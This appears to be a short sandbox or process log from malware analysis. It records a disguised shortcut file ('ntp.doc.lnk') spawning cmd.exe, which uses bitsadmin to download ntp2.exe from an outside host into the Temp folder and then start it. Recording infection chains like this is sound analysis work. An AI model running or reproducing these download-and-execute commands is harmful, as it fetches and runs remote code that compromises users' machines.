cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "IZFDLWw" C:\Users\test22\AppData\Local\Temp\ntp.doc.lnk
2576cmd.exe "C:\Windows\System32\cmd.exe" /C bitsadmin /transfer Update /download /priority FOREGROUND https://recipemedical.com/archive/ntp2.exe C:\Users\test22\AppData\Local\Temp\ntp2.exe' & start C:\Users\test22\AppData\Local\Temp\ntp2.exe'
2696bitsadmin.exe bitsadmin /transfer Update /download /priority FOREGROUND https://recipemedical.com/archive/ntp2.exe C:\Users\test22\AppData\Local\Temp\ntp2.exe'
2800